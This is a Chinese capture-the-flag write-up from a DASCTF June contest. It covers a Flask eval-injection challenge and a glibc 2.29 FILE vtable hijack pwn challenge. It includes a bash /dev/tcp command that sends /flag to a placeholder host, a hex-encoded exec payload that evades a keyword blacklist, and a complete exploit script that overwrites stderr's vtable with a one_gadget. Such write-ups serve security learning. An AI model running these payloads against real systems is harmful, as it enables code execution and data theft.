DASCTF六月月赛

想做PWN来着,结果0解,划水几道题。。。

简单的计算题

源码:

#!/usr/bin/env python3 # -*- coding: utf-8 -*- 
from flask import Flask, render_template, request,session
from config import create
import os
app = Flask(__name__) app.config['SECRET_KEY'] = os.urandom(24) ## flag is in /flag try to get it
@app.route('/', methods=['GET', 'POST'])
def filter(string):
for black_word in black_list:
if black_word in string:
return "hack"
return string

if request.method == 'POST':
input = request.form['input']
create_question = create()
input_question = session.get('question')
session['question'] = create_question
if input_question==None:
return render_template('index.html', answer="Invalid session please try again!", question=create_question)
if filter(input)=="hack":
return render_template('index.html', answer="hack", question=create_question)
try:
calc_result = str((eval(input_question + "=" + str(input))))
if calc_result == 'True':
result = "Congratulations"
elif calc_result == 'False':
result = "Error"
else:
result = "Invalid"
except:
result = "Invalid"
return render_template('index.html', answer=result,question=create_question)
if request.method == 'GET':
create_question = create()
session['question'] = create_question
return render_template('index.html',question=create_question)
@app.route('/source')
def source():
return open("app.py", "r").read()
if __name__ == '__main__': app.run(host="0.0.0.0", debug=False)

反弹shell,起初黑名单只有or,用下面payload即可:

os.system('bash -c \"cat /flag >& /dev/tcp/ip/port 0>&1\"')

改了之后osimportsystem都被ban了,只能编码绕过,这里采用hex编码,先对上面的payload转为hex

6f732e73797374656d282762617368202d63205c22636174202f666c6167203e26202f6465762f7463702f69702f706f727420303e26315c222729

然后利用bytes.fromhex()函数转换

bytes对象的hex函数,用来将bytes对象的值转换成hexstr;而fromhex函数,用来将hexstr导入bytes对象,相当于用hexstr来创建bytes对象。

>>> bytes([0,1,2,3,4,5]).hex()
'000102030405'
>>> bytes.fromhex('000102030405')
b'\x00\x01\x02\x03\x04\x05'
>>> b'abcde'.hex()
'6162636465'
>>> a = bytes.fromhex('6162636465')
>>> a
b'abcde'

结合exec()函数即可执行反弹shell:

exec(bytes.fromhex('6f732e73797374656d282762617368202d63205c22636174202f666c6167203e26202f6465762f7463702f69702f706f727420303e26315c222729'))

secret

本题运行时输出了printf函数的地址,并且开启了canary,原本以为可以通过它泄露canary,然后再次溢出拿shell的,可是尝试之后是无法覆盖canary的低字节从而将其泄露。看到师傅们的wp得知是_IO_FILE的题,伪造 vtable 劫持程序流程。

题目分析

先看看远程的libc是什么版本,根据 printf 的地址,查到多个,最后确定了是 libc2.29

libc2.29中的vtable

libc2.29 貌似不能修改 vtable 的内容,而且对 vtable 指针有要求,但是 vtable 指针附近偏差不大的地方都没什么问题,而且可写。

那么就修改 __IO_2_1_stderr 的 vtable 指针的低两字节(只要和原来的位置偏差不大,而且可写就行,需要爆破),然后往新的指针指向的地址写 3 个 qword,第三个刚好就是 io_finish 的位置,填上one_gadget 即可。

vtable 函数 指针:

/* The 'finish' function does any final cleaning up of an _IO_FILE object.
It does not delete (free) it, but does everything else to finalize it.
It matches the streambuf::~streambuf virtual destructor. */
typedef void (*_IO_finish_t) (FILE *, int); /* finalize */
#define _IO_FINISH(FP) JUMP1 (__finish, FP, 0)
#define _IO_WFINISH(FP) WJUMP1 (__finish, FP, 0)
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
};

对于攻击的vtable 函数 指针其中的:

  • __finish__
  • __close

其执行顺序是先close,然后finish。由于程序给的是0x18字节的任意写,攻击 __finish__就可以了。

vtable的值,以及其对应的函数指针,在glibc 2.29下是可写的。这个是很重要的一点,本来个人不知道这个,想了好久其他的办法来利用。

在glibc 2.23以及glibc 2.27其都是不可写的

攻击思路

利用程序的最后一次任意地址写,直接把__IO_2_1_stderr上的vtable__finish__指针修改为one gadget。

exp

参考大佬的脚本:

#coding=utf8
'''
脚本使用的库为welpwn(github可搜)
'''

from PwnContext import *

context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
# functions for quick script
s = lambda data :ctx.send(str(data)) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096,timeout=2:ctx.recv(numb, timeout=timeout)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

ctx.binary = './secret'
ctx.remote = ('183.129.189.60', 10030)
ctx.remote_libc = './libc.so' # libc-2.29
ctx.debug_remote_libc = True

#rs()
rs('remote')

ru('secret:')
printf = int(ru('\n', drop=True), 16)
leak('printf', printf)

lbase = printf - ctx.libc.sym['printf']
leak('lbase', lbase)

_IO_2_1_stderr_ = lbase + ctx.libc.sym['_IO_2_1_stderr_']
vtable = _IO_2_1_stderr_ + 0xd8

leak('_IO_2_1_stderr_', _IO_2_1_stderr_)
leak('vtable', vtable)

one1 = lbase + 0xe237f
one2 = lbase + 0xe2383
one3 = lbase + 0xe2386
one4 = lbase + 0x106ef8

s(p64(vtable))
s('\xf0\x70') # 修改vtable地址低两字节
s(p64(0) + p64(0) + p64(one3))

irt()

Comments


:D 一言句子获取中...

Loading...Wait a Minute!